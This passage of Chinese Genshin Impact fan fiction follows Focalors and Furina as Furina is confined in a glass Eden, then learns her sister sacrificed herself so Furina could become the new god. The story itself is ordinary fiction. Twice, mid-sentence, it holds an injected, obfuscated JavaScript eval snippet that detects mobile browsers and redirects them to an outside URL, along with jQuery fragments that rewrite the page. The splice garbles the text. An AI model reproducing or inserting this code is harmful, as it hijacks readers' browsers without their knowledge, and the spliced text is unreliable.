我恍然发现,我不记得厄歌莉娅的脸了。苍晶山地的夕阳一闪即逝,被抛弃的头发逶迤在地。然后是那维莱特的长发,发尾是我系得端正的缎带蝴蝶结;以及芙宁娜稚嫩的脸庞,我一如既往,俯下身去,吻去她眼角的泪花。有一点咸。我留恋地目送他们远去,我知道这是多余的、孽生的欲念。最后是各色枫丹人,要么慌张,要么哭泣。这是第多少代枫丹人了?我不清楚。但从今往后,他们仍会在枫丹的土地上生息繁衍,这存续是正义的。他们将老去。 而我将远行。 4. 只有你的国度(上) *芙卡洛斯X芙宁娜,非原作向,地名纯属借用 上 -伊甸之囚- 十六岁的芙宁娜疑心自己窥见了芙卡洛斯身上一千万个羸弱的春天。 芙卡洛斯轻盈地行走在失落的原野上,裙摆边的缭乱花瓣因她的跑动而跌落焦土。焚风缠着她的脚踝到达世界的尽头,将世外的尸臭吹到死亡不至之处。芙宁娜眼见她携一千万朵春天匆匆奔向干涸龟裂的大地中央唯一一点盎然绿意,而白裙皱眉,素袍皲裂,像破败的月亮一路奔逃,一路流泻积年累月的明光。 伊甸的芙宁娜长到十六岁有余,恍惚六千来天,浑浑噩噩,总还像小孩子一样。 十六年以来,她从未踏出伊甸一步。这玻璃罩子就是她的全部天地,罩里的草地、小屋、吊床、茶桌、时钟、布偶、书架、在角落里见缝插针地小憩的书本、只有一勺余宽的静水以及池中水鸟就是她的全部财产。 她也曾问过被困于此的缘由。芙卡洛斯说,此间的神明业已陨落,世界失去了祝福与庇佑。因此,不再有四季流转,也不再有万类共生。唯有当初神明诞生之地,这片小小的神眷之所留住了春天、花草和纯水,于是她用玻璃隔绝仅存的乐土,将自己的妹妹困在永恒的春日。 那时芙宁娜刚刚七岁,正捧着解罪经席地而坐,嫩草挠着她裸露的小腿。她忍不住将手从神圣的金色书页上拿开,去安抚饱受煎熬的皮肤。芙卡洛斯顺着她的动作看去,才猛然发现她妹妹的关节嫩藕一样洁白圆润,那双眼睛则蓄着曾经湛蓝的优兰妮娅湖荡漾的波纹。太相像了。她与过去曾经拥有的春天。 芙卡洛斯不得不别开目光。无论是眼前的少女还是脑中的记忆,都太过柔软纤弱,注定不堪卒读。 芙宁娜却仰头望向玻璃外的芙卡洛斯,幼稚纯粹的目光叫她的姐姐心惊胆战:“那么,会有新的神明诞生吗?神明什么时候宽恕我们的罪过?我什么时候才能出去呢?” 芙卡洛斯听到自己的嗓子干哑地振响:“我不知道,但那一天会到来的。到那时,你就是我们的珀尔塞福涅,替我们将春天带回这个罪孽深重的国度。我们将彻夜燃起篝火,跳起不歇的舞步为你举办最盛大的庆典。这场狂欢将从日到夜,从春到冬,永无尽头。”她底气不足地又补充了一句,“在那之前,你只需要忍受冥府长夜般的漫长孤独就好。” 解罪经被毫不在意地扬了扬。芙宁娜满不在乎地说:“我还有这么多书籍陪伴,一点儿也不孤独。还能将这些没有结尾的故事排演,为他们续上结局,我自己就是导演、演员和观众,多么热闹!最重要的是,我还有芙卡洛斯。” “只要有芙卡洛斯在,就不会感到寂寞。” 芙卡洛斯才发现她的眸子如此之亮,像神像崩塌前教堂穹顶镶嵌的水晶。 但这方寸之地可以容纳的人类遗存太过稀少,芙宁娜将它们翻来覆去地阅读,几乎倒背如流,仍不满足。于是,芙卡洛斯就成了她的普罗米修斯,从已经沦陷的各地盗来残缺的零星典籍,隔着玻璃讲给芙宁娜听。但芙卡洛斯来访的频率越来越低,停留的时间越来越短,眉目间的疲惫越来越沉,芙宁娜无可避免地陷入寂寞的深渊。只有在自己排演剧目时,她才能短暂遗忘伊甸之外的世界,和伊甸之外的芙卡洛斯。因此,芙卡洛斯每次来此,都会被她追问,我什么时候才能出去呢? 也许是明天,也许是明年。耐心一点吧,芙宁娜,那一天总会来临。问的次数多了,她只能得到一个标准答案:等你长大就能出去了。 无事可做的芙宁娜只能读书。五岁那年芙宁娜背完了所有遗存的经文,七岁就能够磕磕绊绊地排演残缺不全的莎士比亚,从十二岁开始写自己的剧本,但苦于没有纸笔,她只能记在脑子里,等芙卡洛斯来时一股脑地说给她听。十五岁时芙宁娜第一次读到阿波利奈尔。她隔着玻璃观摩那些排列成各种形象的图画诗,笨拙地放任那些散落的词句在齿间跌跌撞撞地奔跑。芙卡洛斯忍不住慨叹,什么时候你才会长大呢。芙宁娜晃着脑袋回答,我已经好好地长大了。你看,我的头发长到脚踝,同你一般。 可是你还是不明白,芙卡洛斯说,你不明白为什么“我的心宛如一朵窃来的烟火”*。芙宁娜说,随他去吧,诗人总是这样。我不是阿波利奈尔,因此不是任何一种烟火。 芙卡洛斯笑着问,那你是什么呢? 芙宁娜直视着她的眼睛说,我是伊甸的囚徒。 然后她目送笑得勉强的芙卡洛斯离开,她想她也许还没长大,否则就会委婉地提出自己想要离开伊甸的诉求了,如真正的大人一般装模作样地酝酿满是机锋的隐喻,就像芙卡洛斯一样。 直到十六岁的春天如期而至,湖中水鸟扬出不存在的冬日以来第一声啼鸣,消失了一季的芙卡洛斯再度敲响玻璃,芙宁娜才突然发现芙卡洛斯的裙边开满轻浮的花。这不是伊甸里的花,她叫不出名字来,视线却不受控制地跟随重叠的花瓣上下翩飞。 伊甸之外的春天转瞬即逝。芙卡洛斯赤裸的双足踩过干裂的荒野,终于来到伊甸门前。芙宁娜瞥见蜿蜒一路的春天在亲吻地面的一秒内凋谢,而春之使者眼中的自己正提着裙摆跑向墙边,将双手印在冰凉的玻璃上:她想采撷那些缤纷的花朵,在如朝露般的短促花期结束以前。在此之前,她从未发现这些珍贵的造物多么明媚。在此之前,她也从未发现芙卡洛斯向自己奔来的步伐多么动人。她听到自己胸膛里那颗劣质心脏跳得像爱丽丝梦见的兔子一样飞快。 她们隔着玻璃凝望彼此,像在照一面陌生的镜子。芙宁娜嗫嚅着嘴唇,却不是为了吐出得体的问候,而是为了舔舐那正在下坠的、从未见过的、朦胧弱小的春天。春天跟着芙卡洛斯伤痕累累的双足而来,春天随着芙卡洛斯驻留于此的脚步而逝,芙宁娜盯着芙卡洛斯满是泥泞、疤痕和鲜血的身体,奇异地并不感到恶心。她只想去舔舐未曾嗅过的春天,无论这有多么暧昧,让它们顺着漆黑的食道滑入她挑剔的胃袋,令胃酸重新沸腾而将蠢蠢欲动的野望燃烧殆尽。总之,她想将玻璃外的春天据为己有。就在那一刻,她隐晦地懂得,她真正地长大了。 芙卡洛斯取笑她:你什么时候开始对书本以外的世界感兴趣了? 芙宁娜不知道怎么回答。事实上她感兴趣的只是那些粘在芙卡洛斯的裙摆上的幸运儿们。它们机缘巧合之下被芙卡洛斯带到这里,名为伊甸的偏远之地。后来世人将它唤作伊甸花园,那是新神回不去的故乡。 十六岁的春天是芙宁娜一生中最幸福、最荒诞、最痛苦的一段日子。多年以后,当她伫立在一片残砖败瓦之间,她会再度回忆起十六岁那年的早春,芙卡洛斯带来一本几乎完好的诗集,她们靠在一起读同一本书,额头亲密地并排靠在一起,仿佛玻璃从不存在。芙宁娜有时只顾追逐芙卡洛斯如珠似玉的声音,而遗落了句子里的比喻和意义。但她太幸福了,幸福得不能感知到这一点。 芙卡洛斯伸手描摹她的眉眼,突然说道:“芙宁娜,我想你应该长大了。” 芙宁娜则得意地扬起眉毛:“我很高兴你终于注意到了这一点。” “是吗?我希望这不算太晚。就让我给你讲最后一个故事吧;等你长大了,就该成为讲故事的人,而非听故事的人了。” “我不明白。我可以讲故事给芙卡洛斯听,也可以听芙卡洛斯讲的故事。无论我是否长大,我们都可以交换故事,不是吗?” “但是这很不公平,芙宁娜。”芙卡洛斯眨眨眼,“你讲给我听的都是些老掉牙的故事,可我带来的都是新鲜热乎的——你看,这本是上个月刚从芒索斯山麓的神殿废墟下挖出来的,克洛琳德——就是上次我和你提过的,剑术相当出色的那位——发现的喔。” “那就让我出去嘛,芙卡洛斯。你明明自己也在外面生活,还有很多很多朋友,却要求我呆在伊甸里,翻看这些都卷边了的老东西,这才不公平呢。” “还不到时候。我们是不一样的,芙宁娜。你是完美无瑕的,除了那颗心脏。而我,除了这颗偷来的心脏,从内到外都污浊不堪。” “芙卡洛斯,不要再让诗歌的隐喻出现在我们的对话里,我跟你说过,我不明白!”芙宁娜赌气扭过头去。 芙卡洛斯就笑了。她说:“看来我还是错了。芙宁娜还没有长大呢。” “芙卡洛斯!真的够了!”芙宁娜生气了,“你拥有那样广袤的天地,可以每天观赏不同的风景,你还有什么克洛琳德——也许是别的名字,我不想记住。而我拥有的就只有死气沉沉的伊甸——不,不是我拥有伊甸,而是伊甸拥有我。我不过是你拴在伊甸里的囚徒罢了!我们能够阅读、对话、交流,我不明白我们的心脏究竟有何区别,而你,又还要以这种荒谬的理由延长我的刑期多久!” “我对你来说究竟算什么?我的名字是你不可说的噩梦吗?我的存在是你私人所有的秘密吗?” 她的声音都一齐抖起来:“如果你把我困在这里就是为了欣赏我自娱自乐的丑态,如果你来见我就是为了重复这些似有所指、一文不值的字句,那么,我恨你,我恨你——我不想再见到你了!” “好吧,”芙卡洛斯慢悠悠地说,“那么再见了,芙宁娜。若你深感寂寞,就如以往一般,在心中诵念我名吧。” 芙宁娜很久没有这般酣畅淋漓地哭过一场了。等她终于劝住自己的抽噎,从胳膊里抬起头来,伊甸之外又只剩下赭红坼裂的大地和一望无际的荒原。芙卡洛斯像她裙边的鲜花一样消失得无影无踪,唯有那本诗集被安放在玻璃旁边。多年来,各色书籍已经堆起好几个小丘,这本被搁在最新的那个山包顶端。还有一朵幸运的粉花落在硬壳封面上,侥幸逃脱了被不时冒泡的岩浆吞噬的命运。芙宁娜伸长脖子,辨认出上面烫金的作者姓名,阿波利奈尔。 阿、波、利、奈、尔。芙宁娜几乎是在咬牙切齿地重复这几个字:又是阿波利奈尔。什么时候你才能明白,我不想和你谈论天空,海洋和冰川;也不想和你谈论烟火、心脏和诗歌。 姐姐,我只想谈论你。 你什么时候才能明白这一点,明白我已经长大了。你说春天是万物萌发的季节,稻谷和蝴蝶都该在此时涌出地面,如流丽的诗歌从漆黑的腹中流出,这是万世万代不变不移的法则。我迫切地需要打碎这面可憎的玻璃,让稻谷和蝴蝶逃出伊甸——我想我的春天已经来临了,而你立于丰饶的春日太久,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099047|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能察觉。 现在,我的心真正如一朵烟火迸开,而它的哭泣却不能挽留你哪怕一刻。因此我开始害怕长大,害怕长大之后变得像你一样无情,可以将哭泣的我弃之不顾。 毋庸置疑,芙卡洛斯再忙也会抽空回来看望芙宁娜。芙宁娜就是这样学会了伊甸之外的纪年:岩浆每喷发三次,就意味着一个季度的时光流逝。尽管大地一年到头都枯竭荒芜,但人们仍然坚持划分春夏秋冬,仿佛只要四季仍在口口相传,总有一天春天会再度降临。伊甸里只有永恒不移的春天,芙宁娜只好用草叶记录喷发次数,以便自如地和芙卡洛斯谈论春夏秋冬。 于十六岁的春天一别,芙宁娜等了一天又一天。岩浆漫溢又退却九次,水鸟唱完了十二支不同的歌谣,三个残缺的月亮调换了一轮位置,莎士比亚的戏剧排演了六出,芙宁娜轮流担任导演、演员和编剧。最后,她躺倒在如茵的草地上,想到芙卡洛斯临走前的话,在心里默念,芙卡洛斯。 芙卡洛斯。芙卡洛斯。什么也没有发生。她念着念着就念出声来,继而大笑。她曾经把芙卡洛斯说的每一句话都当真,作为最珍视的宝藏匿在心底,却没有想到这是彻头彻尾的谎言。十七岁生日这天,她把所有的书丢到屋外,砸向玻璃——后者纹丝不动。她想要一把火烧掉这些奢侈的珍藏——但她甚至没有火种。离开芙卡洛斯,她什么也不是。在这个国境线短于十尺的国度,她失去了她唯一的神明、君主和臣民。 也是在这一天,芙宁娜终于走出伊甸,她才发现那玻璃原来如此脆弱。只需要一件趁手的利器,囚徒便可重获自由。起先是一些散落的黑点,从遥远的山脉绵延到荒原的边界。等它们挪动到伊甸门前,芙宁娜才看清,那是一队从未见过的人类。芙卡洛斯说过,她从来小心翼翼地守护着伊甸的秘密,只有她知道如何穿越陡峭的厄里那斯山脉,到达中央的谷地。因此,这些陌生人类的到访不知是福是祸。只是芙宁娜无处可逃,别无选择,只能坐在伊甸里等候。 来到此地的人们风尘仆仆,疲惫不堪。他们没有黄金王冠,甚至没有橄榄枝条,高呼神明之声却迤逦不绝。为首的人名为克洛琳德,芙宁娜记得她的名字。记得很牢。她问芙卡洛斯去哪儿了,克洛琳德却回答,旧神陨落前最后一条神谕,就是来此迎接新生的神明。芙宁娜顿生一种不详的预感。只是人们没有给她任何反应的时间,说完便深深叩拜下去。芙宁娜不知所措地后退,却见他们站起身来,捡起斧头与枪械,把伊甸击了个粉碎。焚风瞬间刮过脸庞,粗粝的颗粒感经久不息。芙宁娜想,啊,自由。自由近在眼前。可是,芙卡洛斯,你允诺的自由应当由你亲自赋予,这才是我们二人的国度默认的法则。为什么他们说你是旧日的神明,为什么他们说你已经陨落? 她这么想,也就这么问了。人们七嘴八舌地回答,这片荒芜的国度也曾繁荣昌盛,国土之上的人民安居乐业。然而,不知满足的先人不愿受制于唯一的神明伊黎耶,觊觎她无上的权柄,意图做自己命运的主人。于是,神明被阴谋陷害陨落,而人也受到自己野心的惩罚:沃土腐烂,春风止息,人们日复一日地在焦苦的土地上觅食,凭借萎缩的粮食和饥瘦的猎物苟延残喘。就在此时,新的神明现身于世,她名即为芙卡洛斯。她带领人们寻觅地下暗河,尝试引水灌溉,挣扎着在这片已经沦陷的土地上求生,将濒临死亡的希望重新播种。 人们渴慕地看向芙宁娜:而你,你是芙卡洛斯陨落之前,亲手指认的下一位神明。你将带领子民登上诺亚方舟,把春天带回这个枯朽的国度。我们对此坚信不疑。 芙宁娜看过很多有名或无名的戏剧,读过很多无头或无尾的传奇。但她也不得不承认,眼前的变故委实棘手:她从不知如何扮演神明。她从不觉得芙卡洛斯或是她拥有神明的伟力,事实上,她连伊甸的玻璃墙壁都无能为力。但人们却说,神明的力量不可揣度,或许她只要踏出此地,便可令春天再临。这便是他们带来的唯一一件加冕礼物:口中传唱的“希望”。 芙宁娜想要拒绝,可她无从拒绝。朝思暮想的自由唾手可得,她没有理由拒绝。更何况她不相信芙卡洛斯已经死了。芙卡洛斯一定在某个春风不至之处等她将春天带去。她的双手轻轻按住胸口,那颗被芙卡洛斯称之为劣质的心脏还在按部就班地跳动。 作为人们从世界尽头寻回的神明,芙宁娜被簇拥着登上简陋的王座。在她身后,碎裂一地的玻璃折射清冷月光,三个形状不一的月亮嵌进白昼的天幕,伊甸之外堆叠的几摞书籍已经风化,字迹辨认不清,书页一碰即碎。栖息在伊甸中央湖水里的水鸟目送她头也不回地跨出草坪,踏足干涸十七年的大地。 随着芙宁娜离开的脚步,在被世界遗忘的厄里那斯中心,伊甸开始衰败、凋敝。水鸟发出一声满含怯懦惊惧的啼鸣,飞到芙宁娜的肩头停驻。她蹲下身来,慢慢、慢慢地抚摸那本阿波利奈尔上的干花。从今往后,她只是流浪于此世。 人们迈开脚步,缓慢地向着吹来焚风的新世界而去,在他们背后,新神那囚笼里的小小故乡徐徐枯萎。也许人们的确还会有很多春天,但她的春天到此为止了,不会有哪怕一只候鸟穿越厄里那斯山脉,困倦飞还。 5. 只有你的国度(下) 下 -荒唐玫瑰- 芙宁娜很久以后才明白,童年和故乡都不可挽留。而芙卡洛斯并不是其中任何一种——芙卡洛斯也许是水做的。这就是说,芙卡洛斯可以流向四面八方。还在伊甸时芙宁娜就觉得,芙卡洛斯总是来去匆匆,不会为任何人停留,包括她。 这算不算一种一语成谶? 但在伊甸的服刑并非一无所获,至少芙宁娜戒掉了对结局的迷恋。她跟着克洛琳德所在的族群在大地上游荡,四处寻觅水源、土地和石缝里的花。小孩子总是来缠着她讲故事,让芙宁娜掏光了所有的伊甸旧物和芙卡洛斯的遗物。他们总是要求听到结尾,才肯心满意足地睡去。芙宁娜就从不这样。她看的故事大多残缺不全,因此知晓,结局不过是一场拙劣的骗局。正因如此,她也不肯相信,十六岁的春天就是她与芙卡洛斯最后的会面,要她往后余生都为当初那一句“再不见面”背后自己也未曾预料的暗示时时忏悔,时时饮泣。 芙宁娜骨子里有一股韧劲,从这一点上来说,她与芙卡洛斯可谓一模一样。但凡是她决定要做的事情,就必然要做到最好——否则她就不会独自一人排练了六幕莎士比亚出来,而观众只有那只水鸟。是的,即使是芙卡洛斯也没有完整地观赏过《第十二夜》,芙宁娜自己续写的结局只有她和水鸟知道。所以,即便芙卡洛斯已经放弃了自己的生命,芙宁娜也绝不言弃。 因为她说过,她是她的珀尔塞福涅。 所以,她站在遍布焦枯苔藓的裸石上,俯身对她的子民们宣告: 此后若再无恩典,我便是唯一的神明。 自离开玻璃温室以来,跟随人类的踪迹,芙宁娜走过了岩石、河床、山脉,匍匐穿过犬牙差互的地下暗河。肮脏的遗骸与血腥的残躯填满白骨丛生的矿道,酷烈的喷发与燃烧的尸山吞吐曾经拥有的希望。对于瘟疫,呻吟,死亡,人们早已习以为常。温柔的山毛榉林只在梦里,栖息水鸟的湖泊如今也只在梦里了。 起先芙宁娜干呕不止。她没有想到死亡这么丑陋。而在诗歌与经文里,只有背叛、贪婪、嫉妒等被称之为罪的才是丑恶之物。但那些在诗行中被轻描淡写地提及的丑不曾真正出现在她的生命之中。十七岁之前,她的生命里只有无尽的春天。 这样的她何曾见过如此污浊之物? 后来她习惯了,而且习惯得很快。她剪去长发,因它藏匿污泞,裹结灰尘。她踩过腐烂的雪,不去想那是谁的女儿、父亲或兄弟姐妹朽烂的骨血。那时她还在暗暗吃惊,为自己如此迅速地长大而心惊。她还想起过去在伊甸里,无忧无虑,无知无觉,天真地问芙卡洛斯,云是什么,雨是什么,烟火炸开是什么样子,月亮碎成三瓣以前的天空是什么颜色。 多数情况下,芙卡洛斯能够凭借自己有限的记忆回答芙宁娜的疑惑,竭力描述云掠过头顶,雨下进渡口,烟火绽放的一瞬,眸子和心脏都一齐燃烧。但她也有力所不及之处,比如她从来没能好好描述雨和雪的区别。芙宁娜怎么也想象不出,湖中的水如何分作千滴万线,从云中一跃而下,又如何凝结成六角冰晶,将大地收入怀中。后来她终于见到了雨,也见到了雪。她想,骗子。根本没有洁白的雪。雪中总是混着鲜血、眼珠、黏液和其他什么东西。芙卡洛斯就是在这样的土地上行走,翻过绵长的厄里那斯山脊,把没有被雨雪浸透的诗集带到伊甸。红色的,蓝色的,白色的,芙卡洛斯赤裸的、疮痍的双足一闪而过。但她从没有对芙宁娜说过,那是很痛的。芙宁娜的眼泪滚落下来,砸进污浊的泥泞,溅起腥秽的尘霾。 她的确是个长不大的孩子,从不知晓痛苦的爱如此难能可贵,因此才会对芙卡洛斯的选择困惑不解。于是,她们一个去向不明,一个错失所爱。 芙卡洛斯曾经跟她说,一个叫加缪的人说过——我不确定你的小屋里有没有他的书;你知道,当初搭建伊甸太过匆忙,我都没有注意往里面扔了些什么——总之他说,人唯一的义务,就是使自己快乐。芙宁娜,我只希望你快乐。 只要你再多来看看我,我就会很快乐了。 那么,我不在的时候呢? 我会很孤独、很寂寞,但是只要想到你还会来,我就会很快乐了。 芙卡洛斯说,不要畏惧孤独。 那个时候她是怎么回答的呢?又是老调重弹,我说过了,我一点儿也不孤独。只要有芙卡洛斯在,就不会感到寂寞。 这并不是谎言。然而,芙卡洛斯停留的时间太短,芙宁娜又太过贪心。她渴望芙卡洛斯的目光长久地停留,像水鸟执着地不肯离开她的肩膀。 芙宁娜也问过,在外面奔波是否劳累、是否孤独。芙卡洛斯总说,有很多人呀。他们有的善良,有的天真,有的悲伤,有的恶毒。但人实在是太多样了,太丰繁了,因此,一些瑕疵是可以忍受的。有人的地方才能热闹起来,于是,这个世界就不再寂寞了。 的确是很热闹的,芙宁娜看着孩子们争先恐后地爬上残垣,眺望远处的三个月亮,心想,有时候不免有些吵闹,可是,的确并不孤独。 作为讲故事的回报,孩子们会给她复述大人口中失落的传说。芙宁娜从他们口中拼凑故去神明的故事,大逆不道地评价道:愚蠢。 伊黎耶是法则孕育的神明,她行走在这个国度里,深感寂寞。植物与动物再如何蓬勃兴旺,也不能开口说话,慰藉孤独的心灵。于是,她照着自己的模样用泥土造了人。 人与神如此相似,又如此不同。他们借用了神的面孔,因而高于这个国度里其他所有的生灵。但他们又无限低于完满的神,因为他们的身体由低劣的质料构成,最终也要回归泥土,因而短弱、短寿、短视。 伊黎耶看到他们繁衍生息,族群愈加庞大,十分惊奇地问起缘由。人们说,因为爱啊。 因为爱,我们结合;因为爱,我们繁衍。一切都是因为爱。 无知的神明问道,爱是什么。 人们回答:爱就是我们伸出手来,握住对方的手,不肯放开。 神明沉思着说,那么,我用左手握住自己的右手,这就是爱吗。 人们摇头:爱是不能一个人完成的事情。爱是两个人交错的手指,亲吻彼此,依依不舍。 神明又问,你们的寿命只有数十年,死亡是命中注定的结局。那么,爱怎么办呢? 人们笑了:爱是不死的。哪怕伴侣死去,只要我的心脏还在跳动,爱就不死。但爱也会因此滋养痛苦,使我们为了爱人的逝去哭泣,直到自己死去。 神明于是想要拥有一个爱人。但人类实在太过短寿,她不愿终日哭泣。她想,也许只要她拥有了一个同她一样不朽不灭的爱人,她就能知晓爱是什么。思来想去,她用最纯净的水复制了一个自己,分裂出一半的神魂,为自己量身定制了一个伴侣。 看来伊黎耶并不是那种没有怜悯之心的神,她实在太脆弱了。芙宁娜如此评述。一个孩子摇了摇头说,克洛琳德姐姐说,伊黎耶是一个强大的神,她只是太仁慈了,不舍得对自己的造物动怒。 哦?芙宁娜饶有兴致地转头看向克洛琳德,为什么要动怒呢? 克洛琳德走来,平静地搂住孩子的肩膀:这是传说的另一个版本,因为揭露了人的原罪而被刻意遗忘。但是,有一支后裔铭记在心,日日忏悔,时时祷告,期望洗刷自己的罪过。 芙宁娜玩味地笑:应该就是你们吧,如果我没猜错的话。 嗯。克洛琳德点头。实际上,那场关于爱的对话不是偶然,而是精心策划的阴谋。人有了野心,不愿向伊黎耶朝拜,不想被神明束缚,他们要让神陨落,为自己加冕。 神难道不是仅凭自身就完满的纯粹存在吗?芙宁娜问,贫乏的人想要撼动无瑕的神,这怎么可能呢? 克洛琳德说,正是如此。所以他们诱导伊黎耶分裂自己,以为这样就可以令神明虚弱。但是,此世唯有一个神明,这是伊黎耶也无法改写的规则。所以,违逆法则的伊黎耶受到惩罚,她的造物也因此受累。伊黎耶不愿看到他们走向灭绝,她希望他们能够继续栖居在这片土地上。芙宁娜大人—— 什么事。芙宁娜说,你以前可没有这么严肃的神情。 这件事情的选择权在您,克洛琳德停顿了一秒,我只是个忠实的转述者。因此,是否要前去取回芙卡洛斯大人为您预备的心脏,还要看您的意见。 芙卡洛斯躺在水晶棺材里,像睡着了一样。地下溶洞没有光,克洛琳德举高了手里浸了油的火把。没有灯,她说,请您忍耐一下。 数年未见的姐姐被芙宁娜没有见过的花围绕着,那花与她十六岁时所见的羸弱春天一致白色的,粉色的,红色的,盛大而丰腴地簇拥着芙卡洛斯。她的长发穿梭在指间腰侧,如水漂在花上。芙宁娜问:这是什么花? 我们叫它玫瑰,克洛琳德回答。曾经,在文明依然辉煌之时,它的花语是爱与美。 我知道这个名字,我也曾在书中读到过,人类总是将它和永恒的爱情并举——彻头彻尾的骗局。芙宁娜轻蔑地昂首。伊黎耶就是被这虚无的爱与美欺骗,才会做出如此不明智的选择。可是休想骗到我——渺小、短促的人类的爱,怎么值得神明为之留步徘徊? 克洛琳德说,我也不明白。我只是遵从芙卡洛斯大人的吩咐行事。至于她背后的深意,并不敢妄自揣测。 好吧,芙宁娜耸耸肩问,那她什么时候会醒? 也许不会了。芙宁娜大人。 什么叫“也许不会了”? 按照芙卡洛斯大人的吩咐,在取得您的首肯后,带您来此取走她的心脏,这样您就会成为完全之人,新生的神明,伊黎耶的转世。 当初,伊黎耶的神魂是真真正正裂成两半了,世间于是有了双神。天地为之震动,太阳隐匿不出,月亮碎为三瓣。这是法则被动摇的代价,而世界不能再这样蹉跎,所以你们之间只能有一个活着。于是,芙卡洛斯大人取走了您的心脏,用自己的神躯化作囹圄,将失去神力、空有神体的您困在伊甸。请您想一想,为何那只水鸟不肯离开您的肩膀,因为那的确是最后的神眷之地—— 不要说了,克洛琳德,不要说了。 作为替代,芙卡洛斯大人用当初随着神陨而震碎的月亮的一角和一千万朵玫瑰做成了您如今的心脏。神的心脏储存神的记忆,而这替代之物的质料不够纯粹,无法承载更多,而且,随着年岁日长,总有一天会因无法负荷而崩溃。至于芙卡洛斯大人自己,因为失却了□□,只能委身于泥土捏造的人偶之中。您的心脏只能勉强维持她神魂不灭,若要重铸神明,双神必须合二为一。 我不明白。我不明白。为什么是我?为什么不是芙卡洛斯? 芙卡洛斯大人尝试了十六年,但非常遗憾,她没能成功。没有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099048|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这颗心脏能跳动到何时,也没有人知道芙卡洛斯能够撑到什么时候。但她希望,活下去的是您。她知道您会如她一样、如伊黎耶一样爱人。 胡说,胡说,胡说。那些碎了的玻璃呢,克洛琳德,玻璃、玻璃、玻璃—— 我们是不一样的,芙宁娜。你是完美无瑕的,除了那颗心脏。而我,除了这颗偷来的心脏,从内到外都污浊不堪。 时至今日,芙宁娜才发现那些隐喻如此激越地震响,而它们所掩盖的真相如此荒唐。 芙卡洛斯,谁允许你替我背负这一切?谁允许你独自背负我们两人的命运?你为什么不肯取走我的性命,做天地间唯一的神明? 芙卡洛斯,你为什么对我那么吝啬,对人那么慷慨?你吝啬到在我十七年的生命里只肯占据几天几夜,却慷慨地陪着他们从东流浪到西,从南寻觅到北! 芙卡洛斯,你以为你的死是什么举足轻重的事情吗?只有我,你的死只会成为我的疮疤。而那些善变的人类,他们今日哭嚎神明的离去,明日憎恨神明的背弃! 芙卡洛斯,你彻头彻尾地错了。你要我回避人的痛苦,但最终我仍一一尝遍。于是,我终于懂得,我的心宛如一朵窃来的烟火。可这怎么能叫偷窃呢,姐姐? 芙卡洛斯,你早就明白,生命的常态就是失败,悲伤,无望,痛苦,眼泪。所以你要我回避这一切,你要我活得恣意,却又要我爱人。可如果不曾见过他们的痛苦,我又怎么会知道他们的爱是那样珍贵稀少之物? 太愚钝了,芙宁娜想,我太愚钝了。如果我早就知道为何芙卡洛斯的心宛如一朵窃来的烟火,我那劣质的心脏也会为之抽痛和饮泣,我就不需要这颗本属于我、而今应该属于芙卡洛斯的心脏,她唯一的遗物。 原来,人不是因为长大才别离,而是因为别离才长大。 她的长大整整迟到了一年。为这本该无足轻重的延误,她的眼泪断线地落,肆无忌惮地引发整个宇宙的洪灾。 原来,她的爱、痛苦、恐惧和渴望拥有同一个姓名,那就是芙卡洛斯。 而芙卡洛斯给予的荒芜贫瘠的爱中什么也没有,连死亡都寂灭。 芙宁娜带回春天的那日,人们载歌载舞,狂欢彻夜。岩浆退却,新云涌现,稻谷晴朗,蝴蝶辉煌。在废墟上他们终于建立起崭新的国度,然而这国度却叫芙宁娜寂寞不已。因为芙卡洛斯的缺席,这欣欣向荣的国度无异于她一个人的流放地。她看到当初讲过故事的孩子们打闹过后亲热地凑到一起,读同一本书。他们的额头紧密相触,像多年前的她和芙卡洛斯,而如今,她只能靠缅想抵抗遗忘。 她固然有了广袤的国土,繁衍的臣民,耳边声响绵延不歇,却仿佛一种有声的阒寂。孤独再次如附骨之疽攀上她纤细的脚踝。她终于明白,那个只有芙卡洛斯的国度已经覆灭,而唯一的遗民又戴上了他国的冠冕。她在那个只需五分钟便可走完一圈国境线的国度空掷了十七年光阴,却始终未能参透芙卡洛斯言行的真正含义。现在,她可以理直气壮地说,芙卡洛斯,你错了。人类固然能令世界热闹起来,但真正让我遗忘孤独的,仍然不是他们。 现在,世界上只有两个月亮了。再过几年,天体将回到正轨,昼夜将自如运转,仿佛灾难从未发生过一般,一切都回归伊黎耶时代的模样。那块稍大一些的、水母一样朦胧残败的月亮转到正空,而那弯月牙则转到身后时,芙宁娜和克洛琳德终于抵达伊甸。芙宁娜踩着被风吹散的玻璃,像碎月掷地有声。她将芙卡洛斯放置在重新萌发的草地中央,周围睡满永不凋败的一千万个春天。然后,她跪下来一片一片地收拢碎片,克洛琳德默不作声地在后面跟随。膝盖和指尖很快血肉模糊,又很快完复如初,而她汲取着这漉漉痛楚和痒意中的快感,像被命运无情地碾压过一轮,气管和肺叶都急促地流泪,在神明弃绝之地发出冗长的回声。 谢谢你,克洛琳德。她努力将泪水咽下,口齿不清地说,谢谢你的诗集。 